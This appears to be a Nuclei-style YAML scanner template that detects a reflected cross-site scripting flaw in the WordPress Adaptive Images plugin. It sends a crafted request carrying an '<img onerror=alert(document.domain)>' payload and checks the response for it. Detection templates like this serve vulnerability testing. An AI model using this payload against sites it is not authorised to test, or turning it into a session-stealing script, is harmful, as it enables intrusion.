34 lines
971 B
YAML
34 lines
971 B
YAML
id: wp-adaptive-xss
|
|
|
|
info:
|
|
name: Adaptive Images < 0.6.69 - Reflected Cross-Site Scripting
|
|
author: dhiyaneshDK
|
|
severity: medium
|
|
description: The plugin does not sanitise and escape the REQUEST_URI before outputting it back in a page, leading to a Reflected Cross-Site Scripting issue
|
|
reference:
|
|
- https://wpscan.com/vulnerability/eef137af-408c-481c-8493-afe6ee2105d0
|
|
- https://plugins.trac.wordpress.org/changeset/2655683
|
|
tags: wordpress,xss,wp-plugin,wp
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-content/plugins/adaptive-images/adaptive-images-script.php/%3Cimg/src/onerror=alert(document.domain)%3E/?debug=true"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '<img/src/onerror=alert(document.domain)>'
|
|
- '<td>Image</td>'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'text/html'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|